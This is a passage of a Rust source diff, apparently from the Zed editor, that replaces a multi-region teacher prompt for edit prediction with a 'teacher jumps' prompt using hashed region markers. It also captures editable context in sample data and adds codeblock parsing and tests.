 ...acher_multi_region.md => teacher_jumps.md} |  205 ++-
 .../src/retrieve_context.rs                   |  272 +++-
 crates/edit_prediction_cli/src/score.rs       |  505 +++----
 .../src/edit_prediction_context.rs            |    3 +-
 .../src/editable_context.rs                   |  567 +++++++-
 .../src/edit_prediction_metrics.rs            |    5 +-
 crates/edit_prediction_metrics/src/jumps.rs   |  197 ++-
 .../src/prediction_score.rs                   |  531 +++++--
 .../edit_prediction_metrics/src/reversal.rs   |   36 +-
 crates/edit_prediction_metrics/src/summary.rs |  594 ++++----
 crates/zeta_prompt/src/hashed_regions.rs      | 1257 +++++++++++++++++
 crates/zeta_prompt/src/multi_region.rs        |   15 +-
 crates/zeta_prompt/src/zeta_prompt.rs         |  559 +++++++-
 22 files changed, 4924 insertions(+), 1100 deletions(-)
 rename crates/edit_prediction_cli/src/prompts/{teacher_multi_region.md => teacher_jumps.md} (61%)
 create mode 100644 crates/zeta_prompt/src/hashed_regions.rs

diff --git a/crates/cloud_api_types/src/cloud_api_types.rs b/crates/cloud_api_types/src/cloud_api_types.rs
index 6fef7c586df60d..54abe293545099 100644
--- a/crates/cloud_api_types/src/cloud_api_types.rs
+++ b/crates/cloud_api_types/src/cloud_api_types.rs
@@ -162,6 +162,8 @@ pub struct SettledEditPredictionSampleData {
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
+    pub editable_context: Vec<zeta_prompt::RelatedFile>,
+    #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub future_edit_history_events: Vec<Arc<zeta_prompt::Event>>,
     #[serde(default, skip_serializing_if = "Vec::is_empty")]
     pub navigation_history: Vec<EditPredictionRecentFile>,
diff --git a/crates/edit_prediction/src/capture_prediction_context.rs b/crates/edit_prediction/src/capture_prediction_context.rs
index 449ce8da70606a..39f05532e7a629 100644
--- a/crates/edit_prediction/src/capture_prediction_context.rs
+++ b/crates/edit_prediction/src/capture_prediction_context.rs
@@ -16,6 +16,7 @@ pub(crate) struct CapturedPredictionContext {
     pub(crate) revision: Option<String>,
     pub(crate) uncommitted_diff: Option<String>,
     pub(crate) buffer_diagnostics: Vec<zeta_prompt::ActiveBufferDiagnostic>,
+    pub(crate) editable_context: Vec<zeta_prompt::RelatedFile>,
 }
 
 pub(crate) fn capture_prediction_context(
@@ -25,6 +26,7 @@ pub(crate) fn capture_prediction_context(
     stored_events: Vec<StoredEvent>,
     repository_url: Option<String>,
     revision: Option<String>,
+    editable_context_task: Task<Result<Vec<zeta_prompt::RelatedFile>>>,
     cx: &mut Context<EditPredictionStore>,
 ) -> Option<Task<Result<CapturedPredictionContext>>> {
     let snapshot = buffer.read(cx).snapshot();
@@ -74,12 +76,20 @@ pub(crate) fn capture_prediction_context(
             cursor_anchor.to_point(&snapshot).row,
             100,
         );
+        let editable_context = match editable_context_task.await {
+            Ok(editable_context) => editable_context,
+            Err(error) => {
+                log::debug!("failed to capture editable context: {error:?}");
+                Vec::new()
+            }
+        };
 
         Ok(CapturedPredictionContext {
             repository_url,
             revision,
             uncommitted_diff,
             buffer_diagnostics,
+            editable_context,
         })
     }))
 }
diff --git a/crates/edit_prediction/src/edit_prediction.rs b/crates/edit_prediction/src/edit_prediction.rs
index 4e576580fc21e2..f9b07daa4f4188 100644
--- a/crates/edit_prediction/src/edit_prediction.rs
+++ b/crates/edit_prediction/src/edit_prediction.rs
@@ -56,7 +56,6 @@ use std::env;
 use std::rc::Rc;
 use text::{AnchorRangeExt, Edit};
 use workspace::{AppState, Workspace};
-#[cfg(feature = "cli-support")]
 use zeta_prompt::ContextSource;
 use zeta_prompt::{ZetaFormat, ZetaPromptInput};
 
@@ -2076,6 +2075,7 @@ impl EditPredictionStore {
                                     editable_path: sample_data.editable_path,
                                     editable_offset_range: sample_data.editable_offset_range,
                                     buffer_diagnostics: context.buffer_diagnostics,
+                                    editable_context: context.editable_context,
                                     future_edit_history_events: sample_data
                                         .future_edit_history_events,
                                     navigation_history: sample_data
@@ -2093,7 +2093,6 @@ impl EditPredictionStore {
                             } else {
                                 None
                             };
-
                             let settled_editable_region =
                                 can_collect_data.then_some(settled_editable_region);
 
@@ -2795,6 +2794,14 @@ impl EditPredictionStore {
             EditPredictionModel::Zeta => {
                 let context_task = can_collect_data
                     .then(|| {
+                        let editable_context_task = self.collect_editable_context(
+                            inputs.project.clone(),
+                            inputs.buffer.clone(),
+                            inputs.position,
+                            Vec::new(),
+                            vec![ContextSource::CurrentFile, ContextSource::EditHistory],
+                            cx,
+                        );
                         capture_prediction_context(
                             inputs.project.clone(),
                             inputs.buffer.clone(),
@@ -2802,6 +2809,7 @@ impl EditPredictionStore {
                             stored_events,
                             repository_url.clone(),
                             revision,
+                            editable_context_task,
                             cx,
                         )
                     })
@@ -2978,13 +2986,12 @@ impl EditPredictionStore {
             });
     }
 
-    #[cfg(feature = "cli-support")]
     pub fn collect_editable_context(
         &mut self,
         project: Entity<Project>,
         buffer: Entity<language::Buffer>,
         cursor_position: language::Anchor,
-        oracle_paths: Vec<Arc<Path>>,
+        oracle_targets: Vec<edit_prediction_context::OracleTarget>,
         context_sources: Vec<ContextSource>,
         cx: &mut Context<Self>,
     ) -> Task<anyhow::Result<Vec<RelatedFile>>> {
@@ -3015,7 +3022,7 @@ impl EditPredictionStore {
                 buffer,
                 cursor_position,
                 edit_history,
-                oracle_paths,
+                oracle_targets,
                 context_sources,
                 cx,
             )
diff --git a/crates/edit_prediction/src/edit_prediction_tests.rs b/crates/edit_prediction/src/edit_prediction_tests.rs
index bf9ed2c2052547..6c13139019855e 100644
--- a/crates/edit_prediction/src/edit_prediction_tests.rs
+++ b/crates/edit_prediction/src/edit_prediction_tests.rs
@@ -3514,6 +3514,17 @@ async fn test_edit_prediction_settled_sends_sample_data_after_quiescence(cx: &mu
                 snippet_buffer_row_range: 0..0,
                 diagnostic_range_in_snippet: 0..0,
             }],
+            editable_context: vec![zeta_prompt::RelatedFile {
+                path: Path::new("foo.md").into(),
+                max_row: 60,
+                excerpts: vec![zeta_prompt::RelatedExcerpt {
+                    row_range: 0..2,
+                    text: "line 0\nline 1\n".into(),
+                    order: 0,
+                    context_source: zeta_prompt::ContextSource::CurrentFile,
+                }],
+                in_open_source_repo: true,
+            }],
         },
         Some(boundary),
         VecDeque::from([RecentFile {
@@ -3553,6 +3564,7 @@ async fn test_edit_prediction_settled_sends_sample_data_after_quiescence(cx: &mu
             revision: None,
             uncommitted_diff: None,
             buffer_diagnostics: Vec::new(),
+            editable_context: Vec::new(),
         },
         Some(boundary),
         VecDeque::new(),
@@ -3617,6 +3629,14 @@ async fn test_edit_prediction_settled_sends_sample_data_after_quiescence(cx: &mu
     assert_eq!(sample_data.editable_path.as_ref(), Path::new("foo.md"));
     assert_eq!(sample_data.editable_offset_range, editable_offset_range);
     assert_eq!(sample_data.buffer_diagnostics.len(), 1);
+    assert_eq!(sample_data.editable_context.len(), 1);
+    let editable_context = &sample_data.editable_context[0];
+    assert_eq!(editable_context.path.as_ref(), Path::new("foo.md"));
+    assert_eq!(editable_context.excerpts.len(), 1);
+    assert_eq!(
+        editable_context.excerpts[0].context_source,
+        zeta_prompt::ContextSource::CurrentFile
+    );
     assert_eq!(sample_data.future_edit_history_events.len(), 4);
     assert_eq!(sample_data.navigation_history.len(), 1);
     assert_eq!(sample_data.edit_events_before_quiescence, 5);
@@ -3700,6 +3720,7 @@ async fn test_edit_prediction_settled_sample_data_requires_observing_all_events_
             revision: None,
             uncommitted_diff: None,
             buffer_diagnostics: Vec::new(),
+            editable_context: Vec::new(),
         },
         Some(boundary_observed),
         VecDeque::new(),
@@ -3731,6 +3752,7 @@ async fn test_edit_prediction_settled_sample_data_requires_observing_all_events_
             revision: None,
             uncommitted_diff: None,
             buffer_diagnostics: Vec::new(),
+            editable_context: Vec::new(),
         },
         Some(boundary_missed),
         VecDeque::new(),
@@ -3784,6 +3806,7 @@ async fn test_edit_prediction_settled_drops_future_events_when_their_oss_status_
             revision: None,
             uncommitted_diff: None,
             buffer_diagnostics: Vec::new(),
+            editable_context: Vec::new(),
         },
         None,
         VecDeque::new(),
diff --git a/crates/edit_prediction_cli/src/example.rs b/crates/edit_prediction_cli/src/example.rs
index 0b5a75260fcf1a..bce5b2bc2a514a 100644
--- a/crates/edit_prediction_cli/src/example.rs
+++ b/crates/edit_prediction_cli/src/example.rs
@@ -116,6 +116,16 @@ impl ActualCursor {
         editable_region_byte_offset: usize,
         editable_region_start_line: usize,
     ) -> Self {
+        // Defensive: a malformed/edge-case cursor offset must never panic and
+        // abort an (expensive) batch run. Clamp into range and snap down to a
+        // char boundary before slicing.
+        let mut editable_region_cursor_offset =
+            editable_region_cursor_offset.min(new_editable_region.len());
+        while editable_region_cursor_offset > 0
+            && !new_editable_region.is_char_boundary(editable_region_cursor_offset)
+        {
+            editable_region_cursor_offset -= 1;
+        }
         let global_offset = editable_region_byte_offset + editable_region_cursor_offset;
         let new_region_prefix = &new_editable_region[..editable_region_cursor_offset];
         let row = (editable_region_start_line + new_region_prefix.matches('\n').count()) as u32;
diff --git a/crates/edit_prediction_cli/src/format_prompt.rs b/crates/edit_prediction_cli/src/format_prompt.rs
index 8007499315a8e7..23c9c7dde1126a 100644
--- a/crates/edit_prediction_cli/src/format_prompt.rs
+++ b/crates/edit_prediction_cli/src/format_prompt.rs
@@ -10,7 +10,10 @@ use gpui::AsyncApp;
 use std::ops::Range;
 use std::sync::Arc;
 use zeta_prompt::{
-    ZetaFormat, format_expected_output, format_zeta_prompt, multi_region, resolve_cursor_region,
+    ZetaFormat, ZetaPromptInput, format_edit_history_within_budget, format_expected_output,
+    format_zeta_prompt,
+    hashed_regions::{self, SnippetMarkers},
+    max_edit_event_count_for_format, resolve_cursor_region,
 };
 
 fn resolved_excerpt_ranges_for_format(
@@ -40,6 +43,21 @@ pub async fn run_format_prompt(
     )
     .await?;
 
+    // Teacher-jumps addresses every edit through related-file excerpts and
+    // hard-errors unless the cursor file is covered by one. Settled-data
+    // samples carry a `cursor_excerpt` but were not run through current-file
+    // context retrieval, so normalize the input to synthesize a current-file
+    // excerpt from it when the cursor isn't already covered (a no-op for proper
+    // `ep context --type=current-file` runs).
+    if matches!(
+        args.provider,
+        PredictionProvider::TeacherJumps(_) | PredictionProvider::TeacherJumpsNonBatching(_)
+    ) {
+        if let Some(prompt_inputs) = example.prompt_inputs.as_mut() {
+            hashed_regions::ensure_cursor_file_excerpt(prompt_inputs);
+        }
+    }
+
     let step_progress = example_progress.start(Step::FormatPrompt);
 
     let prompt_inputs = example
@@ -71,22 +89,10 @@ pub async fn run_format_prompt(
                 provider: args.provider,
             });
         }
-        PredictionProvider::TeacherMultiRegion(_)
-        | PredictionProvider::TeacherMultiRegionNonBatching(_) => {
-            step_progress.set_substatus("formatting teacher multi-region prompt");
+        PredictionProvider::TeacherJumps(_) | PredictionProvider::TeacherJumpsNonBatching(_) => {
+            step_progress.set_substatus("formatting teacher jumps prompt");
 
-            let zeta_format = ZetaFormat::default();
-            let (editable_range, context_range) =
-                resolved_excerpt_ranges_for_format(prompt_inputs, zeta_format);
-
-            let include_diagnostics = matches!(zeta_format, ZetaFormat::V0420Diagnostics);
-
-            let prompt = TeacherMultiRegionPrompt::format_prompt(
-                example,
-                editable_range,
-                context_range,
-                include_diagnostics,
-            );
+            let prompt = TeacherJumpsPrompt::format_prompt(example, args.related_files_budget)?;
             example.prompt = Some(ExamplePrompt {
                 input: prompt,
                 expected_output: None,
@@ -351,36 +357,48 @@ impl TeacherPrompt {
     }
 }
 
-pub struct TeacherMultiRegionPrompt;
+/// Teacher prompt for long-range edit prediction ("jumps"). All prompt
+/// context — the cursor file and every related-file excerpt — is annotated
+/// with hashed region markers (V0609HashedRegions), and the teacher may
+/// output a sequence of marker-bounded edits targeting any of it.
+pub struct TeacherJumpsPrompt;
 
-impl TeacherMultiRegionPrompt {
+impl TeacherJumpsPrompt {
     pub(crate) const USER_CURSOR_MARKER: &str = "<|user_cursor|>";
     pub(crate) const NO_EDITS: &str = "NO_EDITS";
 
-    /// Truncate edit history to this number of last lines
-    const MAX_HISTORY_LINES: usize = 128;
+    const MAX_HISTORY_TOKENS: usize = 4000;
 
-    pub fn format_prompt(
-        example: &Example,
-        editable_range: Range<usize>,
-        context_range: Range<usize>,
-        include_diagnostics: bool,
-    ) -> String {
-        let edit_history = Self::format_edit_history(&example.spec.edit_history);
-        let context = Self::format_context(example);
-        let cursor_excerpt = Self::format_cursor_excerpt(example, editable_range, context_range);
-        let diagnostics = include_diagnostics
-            .then(|| TeacherPrompt::format_diagnostics(example))
-            .map(|diagnostics| format!("# 4. Diagnostics\n\n{diagnostics}"));
+    pub const DEFAULT_RELATED_FILES_BUDGET: usize = 8192;
 
-        let prompt_template = crate::prompt_assets::get_prompt("teacher_multi_region.md");
+    pub fn format_prompt(example: &Example, related_files_budget: usize) -> Result<String> {
+        let prompt_inputs = example
+            .prompt_inputs
+            .as_ref()
+            .context("example is missing prompt inputs")?;
+        let marker_table = hashed_regions::build_marker_table(prompt_inputs);
+        let cursor = hashed_regions::locate_cursor_in_related_files(prompt_inputs).context(
+            "cursor position is not covered by any related-file excerpt of the cursor file; \
+             teacher-jumps requires current-file context retrieval (e.g. `ep context --type=current-file,...`)",
+        )?;
+
+        let edit_history = Self::format_edit_history(&prompt_inputs);
+        let context = Self::format_context(
+            prompt_inputs,
+            &marker_table,
+            related_files_budget,
+            cursor.file_ix,
+        );
+        let cursor_excerpt =
+            Self::format_cursor_excerpt(example, prompt_inputs, &marker_table, &cursor)?;
+
+        let prompt_template = crate::prompt_assets::get_prompt("teacher_jumps.md");
         let prompt = prompt_template
             .replace("{{context}}", &context)
             .replace("{{edit_history}}", &edit_history)
-            .replace("{{diagnostics}}", diagnostics.as_deref().unwrap_or(""))
             .replace("{{cursor_excerpt}}", &cursor_excerpt);
 
-        prompt
+        Ok(prompt)
     }
 
     pub fn parse(example: &Example, response: &str) -> Result<(String, Option<ActualCursor>)> {
@@ -400,155 +418,238 @@ impl TeacherMultiRegionPrompt {
             .as_ref()
             .context("example is missing prompt inputs")?;
 
-        let zeta_format = ZetaFormat::default();
-        let (editable_range, _) = resolved_excerpt_ranges_for_format(prompt_inputs, zeta_format);
-        let excerpt = prompt_inputs.cursor_excerpt.as_ref();
-        let old_editable_region = &excerpt[editable_range.clone()];
-        let marker_offsets = multi_region::compute_marker_offsets(old_editable_region);
-
-        let codeblock =
-            extract_last_codeblock(&response).context("no codeblock found in model response")?;
-        let (start_num, end_num, raw_new_span) = multi_region::extract_marker_span(&codeblock)?;
-
-        let start_idx = start_num
-            .checked_sub(1)
-            .context("marker numbers are 1-indexed")?;
-        let end_idx = end_num
-            .checked_sub(1)
-            .context("marker numbers are 1-indexed")?;
-        let start_byte = *marker_offsets
-            .get(start_idx)
-            .context("start marker number out of range")?;
-        let end_byte = *marker_offsets
-            .get(end_idx)
-            .context("end marker number out of range")?;
-
-        if start_byte > end_byte {
-            return Err(anyhow!("start marker must come before end marker"));
+        // The teacher emits reasoning plus a sequence of markdown code fences,
+        // one per edit, each a marker-bounded span. Extract the spans from the
+        // fences, then hand off to the shared hash-region patch assembler that
+        // the student parser also uses.
+        let codeblocks: Vec<String> = extract_all_codeblocks(response)
+            .into_iter()
+            .filter(|block| block.contains(hashed_regions::MARKER_TAG_PREFIX))
+            .collect();
+        if codeblocks.is_empty() {
+            return Err(anyhow!(
+                "no marker-bounded edit codeblocks found in model response"
+            ));
         }
 
-        let cursor_in_span = raw_new_span.find(Self::USER_CURSOR_MARKER);
-        let new_span = raw_new_span.replace(Self::USER_CURSOR_MARKER, "");
-
-        let old_span = &old_editable_region[start_byte..end_byte];
-        let mut new_span = new_span;
-        if old_span.ends_with('\n') && !new_span.ends_with('\n') && !new_span.is_empty() {
-            new_span.push('\n');
+        let mut spans = Vec::with_capacity(codeblocks.len());
+        for codeblock in &codeblocks {
+            spans.push(hashed_regions::extract_marker_span(codeblock)?);
         }
-        if !old_span.ends_with('\n') && new_span.ends_with('\n') {
-            new_span.pop();
-        }
-
-        let mut new_editable_region = String::new();
-        new_editable_region.push_str(&old_editable_region[..start_byte]);
-        new_editable_region.push_str(&new_span);
-        new_editable_region.push_str(&old_editable_region[end_byte..]);
 
-        let cursor_offset = cursor_in_span.map(|pos| start_byte + pos);
-
-        if old_editable_region.starts_with('\n') && !new_editable_region.starts_with('\n') {
-            new_editable_region.insert(0, '\n');
-        }
-
-        let editable_region_offset = editable_range.start;
-        let editable_region_start_line = excerpt[..editable_region_offset].matches('\n').count();
-
-        let editable_region_lines = old_editable_region.lines().count() as u32;
-        let diff = language::unified_diff_with_context(
-            old_editable_region,
-            &new_editable_region,
-            editable_region_start_line as u32,
-            editable_region_start_line as u32,
-            editable_region_lines,
-        );
-
-        let diff = indoc::formatdoc! {"
-            --- a/{path}
-            +++ b/{path}
-            {diff}",
-            path = example.spec.cursor_path.to_string_lossy(),
-            diff = diff,
-        };
+        let (patch, cursor) = hashed_regions::build_patch_from_spans(
+            prompt_inputs,
+            &spans,
+            Self::USER_CURSOR_MARKER,
+        )?;
 
-        let actual_cursor = cursor_offset.map(|editable_region_cursor_offset| {
+        let actual_cursor = cursor.map(|cursor| {
             ActualCursor::from_editable_region(
-                &example.spec.cursor_path,
-                editable_region_cursor_offset,
-                &new_editable_region,
-                excerpt,
-                editable_region_offset,
-                editable_region_start_line,
+                &cursor.path,
+                cursor.cursor_offset_in_new_text,
+                &cursor.new_text,
+                &cursor.old_text,
+                0,
+                cursor.start_row as usize,
             )
         });
 
-        Ok((diff, actual_cursor))
+        Ok((patch, actual_cursor))
     }
 
-    fn format_edit_history(edit_history: &str) -> String {
-        let lines: Vec<&str> = edit_history.lines().collect();
-
-        if lines.is_empty() {
-            return "(No edit history)".to_string();
-        }
-
-        if lines.len() > Self::MAX_HISTORY_LINES {
-            let truncated = lines[lines.len() - Self::MAX_HISTORY_LINES..].join("\n");
-            format!("{truncated}\n[...truncated...]")
-        } else {
-            lines.join("\n")
-        }
+    fn format_edit_history(prompt_inputs: &ZetaPromptInput) -> String {
+        format_edit_history_within_budget(
+            &prompt_inputs.events,
+            "",
+            "",
+            Self::MAX_HISTORY_TOKENS,
+            max_edit_event_count_for_format(&ZetaFormat::V0327SingleFile),
+        )
     }
 
-    pub fn format_context(example: &Example) -> String {
-        let related_files = example
-            .prompt_inputs
-            .as_ref()
-            .and_then(|pi| pi.related_files.as_deref());
-        let Some(related_files) = related_files else {
+    /// Render related files with hashed region markers, within a token
+    /// budget. Mirrors `zeta_prompt::format_related_files_within_budget`,
+    /// but inserts marker tags into every included excerpt. The cursor file
+    /// is skipped: it renders in its own prompt section via
+    /// `format_cursor_excerpt`, and including it here would duplicate it.
+    fn format_context(
+        prompt_inputs: &ZetaPromptInput,
+        marker_table: &[SnippetMarkers],
+        max_tokens: usize,
+        cursor_file_ix: usize,
+    ) -> String {
+        let Some(related_files) = prompt_inputs.related_files.as_deref() else {
             return "(No context)".to_string();
         };
-
         if related_files.is_empty() {
             return "(No context)".to_string();
         }
 
-        let prefix = "`````";
-        let suffix = "`````\n\n";
-        let max_tokens = 1024;
-        zeta_prompt::format_related_files_within_budget(related_files, &prefix, &suffix, max_tokens)
-    }
+        let estimate_tokens = |bytes: usize| bytes / 3;
 
-    fn format_cursor_excerpt(
-        example: &Example,
-        editable_range: Range<usize>,
-        context_range: Range<usize>,
-    ) -> String {
-        let mut result = String::new();
+        struct RenderedExcerpt {
+            file_ix: usize,
+            excerpt_ix: usize,
+            order: usize,
+            rendered: String,
+        }
 
-        let prompt_inputs = example.prompt_inputs.as_ref().unwrap();
-        let excerpt = prompt_inputs.cursor_excerpt.as_ref();
-        let cursor_offset = prompt_inputs.cursor_offset_in_excerpt;
+        let mut candidates = Vec::new();
+        for (file_ix, file) in related_files.iter().enumerate() {
+            if file_ix == cursor_file_ix {
+                continue;
+            }
+            for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
+                let markers = marker_table.iter().find_map(|snippet| {
+                    (snippet.file_ix == file_ix && snippet.excerpt_ix == excerpt_ix)
+                        .then_some(&snippet.markers)
+                });
+                let mut rendered = String::new();
+                match markers {
+                    Some(markers) => hashed_regions::write_snippet_with_markers(
+                        &mut rendered,
+                        &excerpt.text,
+                        markers,
+                        None,
+                    ),
+                    None => rendered.push_str(&excerpt.text),
+                }
+                if !rendered.ends_with('\n') {
+                    rendered.push('\n');
+                }
+                candidates.push(RenderedExcerpt {
+                    file_ix,
+                    excerpt_ix,
+                    order: excerpt.order,
+                    rendered,
+                });
+            }
+        }
 
-        let editable_text = &excerpt[editable_range.clone()];
-        let cursor_in_editable = cursor_offset - editable_range.start;
+        let file_headers: Vec<String> = related_files
+            .iter()
+            .map(|file| format!("`````{}\n", file.path.to_string_lossy()))
+            .collect();
+        let file_suffix = "`````\n\n";
 
-        let path_str = example.spec.cursor_path.to_string_lossy();
-        result.push_str(&format!("`````{path_str}\n"));
+        let mut selection_order: Vec<usize> = (0..candidates.len()).collect();
+        selection_order.sort_by_key(|&candidate_ix| {
+            let candidate = &candidates[candidate_ix];
+            (candidate.order, candidate.file_ix, candidate.excerpt_ix)
+        });
 
-        result.push_str(&excerpt[context_range.start..editable_range.start]);
+        let mut total_tokens = 0;
+        let mut included = vec![false; candidates.len()];
+        let mut file_included = vec![false; related_files.len()];
+        for &candidate_ix in &selection_order {
+            let candidate = &candidates[candidate_ix];
+            let header_cost = if file_included[candidate.file_ix] {
+                0
+            } else {
+                estimate_tokens(file_headers[candidate.file_ix].len() + file_suffix.len())
+            };
+            let excerpt_cost = estimate_tokens(candidate.rendered.len());
+            if total_tokens + header_cost + excerpt_cost > max_tokens {
+                break;
+            }
+            total_tokens += header_cost + excerpt_cost;
+            file_included[candidate.file_ix] = true;
+            included[candidate_ix] = true;
+        }
 
-        multi_region::write_editable_with_markers(
-            &mut result,
-            editable_text,
-            cursor_in_editable,
-            Self::USER_CURSOR_MARKER,
-        );
+        let mut result = String::new();
+        let mut last_file_ix = None;
+        for (candidate_ix, candidate) in candidates.iter().enumerate() {
+            if !included[candidate_ix] {
+                continue;
+            }
+            if last_file_ix != Some(candidate.file_ix) {
+                if last_file_ix.is_some() {
+                    result.push_str(file_suffix);
+                }
+                result.push_str(&file_headers[candidate.file_ix]);
+                last_file_ix = Some(candidate.file_ix);
+            }
+            result.push_str(&candidate.rendered);
+
+            let file = &related_files[candidate.file_ix];
+            let excerpt = &file.excerpts[candidate.excerpt_ix];
+            let next_excerpt_start = candidates
+                .iter()
+                .enumerate()
+                .skip(candidate_ix + 1)
+                .find(|(next_ix, next)| included[*next_ix] && next.file_ix == candidate.file_ix)
+                .map(|(_, next)| file.excerpts[next.excerpt_ix].row_range.start);
+            if zeta_prompt::rows_omitted_after_excerpt(excerpt, next_excerpt_start, file.max_row) {
+                result.push_str("...\n");
+            }
+        }
+        if last_file_ix.is_some() {
+            result.push_str(file_suffix);
+        }
 
-        result.push_str(&excerpt[editable_range.end..context_range.end]);
-        result.push_str("\n`````");
+        if result.is_empty() {
+            "(No context)".to_string()
+        } else {
+            result
+        }
+    }
 
-        result
+    /// Render the current file from its related-file entry, with marker tags
+    /// and the user cursor injected. The current file gets its own prompt
+    /// section but shares the related-file snippets and markers, so its
+    /// content appears in the prompt exactly once.
+    fn format_cursor_excerpt(
+        example: &Example,
+        prompt_inputs: &ZetaPromptInput,
+        marker_table: &[SnippetMarkers],
+        cursor: &hashed_regions::RelatedFileCursor,
+    ) -> Result<String> {
+        let related_files = prompt_inputs
+            .related_files
+            .as_deref()
+            .context("prompt inputs are missing related files")?;
+        let file = related_files
+            .get(cursor.file_ix)
+            .context("cursor file index out of range")?;
+
+        let path_str = example.spec.cursor_path.to_string_lossy();
+        let mut result = format!("`````{path_str}\n");
+        for (excerpt_ix, excerpt) in file.excerpts.iter().enumerate() {
+            let markers = marker_table
+                .iter()
+                .find_map(|snippet| {
+                    (snippet.file_ix == cursor.file_ix && snippet.excerpt_ix == excerpt_ix)
+                        .then_some(&snippet.markers)
+                })
+                .context("marker table is missing a cursor file snippet")?;
+            let cursor_in_excerpt = (excerpt_ix == cursor.excerpt_ix)
+                .then_some((cursor.offset_in_excerpt, Self::USER_CURSOR_MARKER));
+            hashed_regions::write_snippet_with_markers(
+                &mut result,
+                &excerpt.text,
+                markers,
+                cursor_in_excerpt,
+            );
+            if !result.ends_with('\n') {
+                result.push('\n');
+            }
+            if excerpt.row_range.end < file.max_row {
+                result.push_str("...\n");
+            }
+        }
+        result.push_str("`````");
+
+        Ok(result)
+    }
+}
+
+pub(crate) fn line_start_offset(text: &str, row: usize) -> Option<usize> {
+    let mut offset = 0;
+    for _ in 0..row {
+        offset += text[offset..].find('\n')? + 1;
     }
+    Some(offset)
 }
 
 /// Extract the cursor excerpt from an example.
@@ -597,6 +698,42 @@ pub fn extract_cursor_excerpt_from_example(example: &Example) -> Option<String>
     Some(result)
 }
 
+/// Extract all top-level fenced codeblocks from `text`, in order.
+///
+/// A fence opens with 3+ backticks (optionally followed by an info string)
+/// and closes with a line of at least as many backticks, so codeblocks that
+/// themselves contain shorter fences are handled.
+pub(crate) fn extract_all_codeblocks(text: &str) -> Vec<String> {
+    let mut codeblocks = Vec::new();
+    let mut current_block: Option<(usize, Vec<&str>)> = None;
+
+    for line in text.lines() {
+        match &mut current_block {
+            None => {
+                let backtick_count = line.chars().take_while(|&c| c == '`').count();
+                if backtick_count >= 3 {
+                    current_block = Some((backtick_count, Vec::new()));
+                }
+            }
+            Some((opening_count, lines)) => {
+                let trimmed = line.trim();
+                if trimmed.len() >= *opening_count && trimmed.chars().all(|c| c == '`') {
+                    let mut content = lines.join("\n");
+                    if !content.is_empty() {
+                        content.push('\n');
+                    }
+                    codeblocks.push(content);
+                    current_block = None;
+                } else {
+                    lines.push(line);
+                }
+            }
+        }
+    }
+
+    codeblocks
+}
+
 pub(crate) fn extract_last_codeblock(text: &str) -> Option<String> {
     let lines: Vec<&str> = text.lines().collect();
 
@@ -645,6 +782,571 @@ pub(crate) fn extract_last_codeblock(text: &str) -> Option<String> {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use zeta_prompt::multi_region;
+
+    fn make_example(
+        cursor_excerpt: &str,
+        cursor_offset: usize,
+        related: &[(&str, &[(&str, u32)])],
+    ) -> Example {
+        // The cursor file is included as the first related file, mirroring
+        // `ContextSource::CurrentFile` context retrieval.
+        let cursor_file = zeta_prompt::RelatedFile {
+            path: std::sync::Arc::from(std::path::Path::new("src/main.rs")),
+            max_row: 1000,
+            excerpts: vec![zeta_prompt::RelatedExcerpt {
+                row_range: 0..cursor_excerpt.matches('\n').count() as u32,
+                text: std::sync::Arc::from(cursor_excerpt),
+                order: 0,
+                context_source: zeta_prompt::ContextSource::CurrentFile,
+            }],
+            in_open_source_repo: false,
+        };
+        let related_files = std::iter::once(cursor_file)
+            .chain(related.iter().map(|(path, excerpts)| {
+                zeta_prompt::RelatedFile {
+                    path: std::sync::Arc::from(std::path::Path::new(path)),
+                    max_row: 1000,
+                    excerpts: excerpts
+                        .iter()
+                        .map(|(text, start_row)| zeta_prompt::RelatedExcerpt {
+                            row_range: *start_row..*start_row + text.matches('\n').count() as u32,
+                            text: std::sync::Arc::from(*text),
+                            order: 0,
+                            context_source: zeta_prompt::ContextSource::CurrentFile,
+                        })
+                        .collect(),
+                    in_open_source_repo: false,
+                }
+            }))
+            .collect();
+
+        Example {
+            spec: edit_prediction::example_spec::ExampleSpec {
+                name: "test".to_string(),
+                repository_url: "https://github.com/zed-industries/zed.git".to_string(),
+                revision: "HEAD".to_string(),
+                tags: Vec::new(),
+                reasoning: None,
+                uncommitted_diff: String::new(),
+                recently_opened_files: Vec::new(),
+                recently_viewed_files: Vec::new(),
+                uncommitted_diff_contains_edit_history: false,
+                cursor_path: std::sync::Arc::from(std::path::Path::new("src/main.rs")),
+                cursor_position: "0:0".to_string(),
+                edit_history: String::new(),
+                expected_patches: Vec::new(),
+                rejected_patch: None,
+                telemetry: None,
+                human_feedback: Vec::new(),
+                rating: None,
+            },
+            prompt_inputs: Some(zeta_prompt::ZetaPromptInput {
+                cursor_path: std::path::Path::new("src/main.rs").into(),
+                cursor_excerpt: cursor_excerpt.into(),
+                cursor_offset_in_excerpt: cursor_offset,
+                excerpt_start_row: Some(0),
+                events: Vec::new(),
+                related_files: Some(related_files),
+                active_buffer_diagnostics: Vec::new(),
+                excerpt_ranges: zeta_prompt::ExcerptRanges::default(),
+                syntax_ranges: None,
+                in_open_source_repo: false,
+                can_collect_data: false,
+                repo_url: None,
+            }),
+            prompt: None,
+            predictions: Vec::new(),
+            score: Vec::new(),
+            qa: Vec::new(),
+            zed_version: None,
+            state: None,
+        }
+    }
+
+    #[test]
+    fn test_teacher_jumps_format_prompt_markers_everywhere() {
+        let example = make_example(
+            "fn main() {\n    let x = 1;\n}\n",
+            16,
+            &[("src/lib.rs", &[("pub fn helper() {}\n", 5)])],
+        );
+        let prompt = TeacherJumpsPrompt::format_prompt(&example, 8192).unwrap();
+
+        assert!(prompt.contains(TeacherJumpsPrompt::USER_CURSOR_MARKER));
+        assert!(prompt.contains("`````src/main.rs\n"));
+        assert!(prompt.contains("`````src/lib.rs\n"));
+        // Markers in both the current file and the related excerpt.
+        let marker_table =
+            hashed_regions::build_marker_table(example.prompt_inputs.as_ref().unwrap());
+        for snippet in &marker_table {
+            for (id, _) in &snippet.markers {
+                assert!(
+                    prompt.contains(&hashed_regions::marker_tag(id)),
+                    "prompt is missing marker {id}"
+                );
+            }
+        }
+        // The current file appears exactly once, in its own section, with the
+        // user cursor injected.
